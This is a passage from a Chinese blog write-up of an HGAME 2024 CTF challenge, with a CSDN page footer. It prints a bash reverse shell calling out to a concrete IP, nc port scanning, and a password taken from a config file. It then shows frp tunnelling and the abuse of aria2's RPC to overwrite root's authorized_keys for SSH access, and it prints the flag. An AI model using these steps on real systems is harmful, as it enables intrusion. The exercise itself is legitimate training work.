/dev/tcp/IP/Port 会被 sh 解析, ⽽不是 bash, 因此会报错

解决⽅法也很简单, 将上⾯的命令使⽤ bash -c “” 包裹起来, 即

bash -c “bash -i >& /dev/tcp/ip/8888 0>&1”

让 >& 以及 /dev/tcp/IP/Port 都被 bash 解析, 就能反弹成功了

bash -c "bash -i >& /dev/tcp/148.135.82.190/8888 0>&1"

这样就可以反弹shell回来了

image-20240309170420082

直接cat /flag 没做权限限制(没用上suid提权) 拿到flag1

image-20240309170610839

可以看下当前ip地址

image-20240309170812672

如何判断内网其他存活主机了

arp缓存路由查看 arp -a

image-20240309171407128

image-20240309171449954

确定存活主机100.64.43.4

可以nc扫描存活端口 nc -z ip 1-65535 |grep success

image-20240309172211691

端口22 ssh

端口6800 aria2

aria2 是一款轻量且高效命令行下载工具,它提供了对多协议和多源地址的支持,并尝试将下载带宽利用率最大化,目前支持的协议包括HTTP(S)FTPBitTorrent(DHT, PEX, MSE/PE) 和 Metalink。通过 Metalink 的分块检查,aria2 可以在下载过程中自动的进行数据校验

可以在 /config/qBittorrent.conf 发现常用密码

同理 也可以 qb ⻚⾯信息搜集,获取常⽤密码 Sh3hoVRqMQJAw9D

image-20240309173143145

username=hgame

password=Sh3hoVRqMQJAw9D

第一反应本来想用Venom(Go开发的多级代理工具) +proxychain链(留个疑问?) 但有些问题

	**端口复用vps的ip和docker预留ip不同引发的奇怪问题**

如何实现多级代理(正向和反向代理共用) 这里留个坑

image-20240309212117155

image-20240309214658526

他dockerfile都把docekr内网100.64.43.4暴露出来,我们为什么还要配置代理穿透(大大的疑惑???)都可以直接利用6800 服务 成功连接 映射的23端口

image-20240309220713365

但是我们还是走一遍正常流程吧

还是用frp进行代理服务

vps:./frps默认监听7000端口

靶机上: ./frpc -c frpc.toml

frpc.toml文件内容:

serverAddr = "ip"
serverPort = 7000

[[proxies]]
name = "ssh"
type = "tcp"
localIP = "100.64.43.4"//将本地网络(不一定是靶机ip而是靶机可以访问的ip)
localPort = 22//被映射
remotePort = 6022//出映射的端口
[[proxies]]
name = "rpc"
type = "tcp"
localIP="100.64.43.4"
localPort = 6800
remotePort=6800

image-20240309214317296

现在我们将

100.64.43.4:6800------------->我们的frp-server:6800

100.64.43.4:22----------------->我们的frp-server:6022

通过http://binux.github.io/yaaw/demo/# 利用aria2任意文件读写

配置添加image-20240309215826080

token的值就是 Sh3hoVRqMQJAw9D

Add功能实现任意文件覆盖

image-20240309215942265

kali上生成ssh公私钥

ssh-keygen -f ./my_ssh_key

将公钥 .pub 覆盖 靶机/root/.ssh/authorized_keys.pub

直接用ssh 免密登录

image-20240309220153399

直接拿/flag

image-20240309220408743

ezKeyboard

hgame{keYb0a1d_gam0__15_s0_f0n__!!~~~~}

hgame{keYb0a1d_gam0__15_s0_f0n__!!~~~~}

感谢大佬们的blog参考:

HGAME 2024 WEEK4 WP: link

HGAME 2024 WEEK2 Web方向题解 全: link

hgame_week3_wp: link

HGAME2024-WEB WP: link

  • 46
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值